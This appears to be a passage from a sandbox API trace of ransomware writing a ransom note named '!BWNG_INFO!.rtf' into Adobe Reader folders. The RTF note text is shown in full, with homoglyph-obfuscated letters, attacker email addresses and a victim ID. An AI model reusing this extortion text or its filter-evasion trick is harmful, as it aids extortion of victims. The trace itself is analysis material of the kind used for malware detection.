\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n^ûÐ×Þd«×>¨¢P¯É_vø½zye®K\x0e\x1c+\\\x08â±\x93Í\x04", lpUsedDefaultChar=0x0) returned 14086 [0033.923] WriteFile (in: hFile=0x1cc, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0033.925] CloseHandle (hObject=0x1cc) returned 1 [0033.925] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\!bwng_info!.rtf")) returned 0xffffffff [0033.925] GetLastError () returned 0x2 [0033.925] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\cat\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0033.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 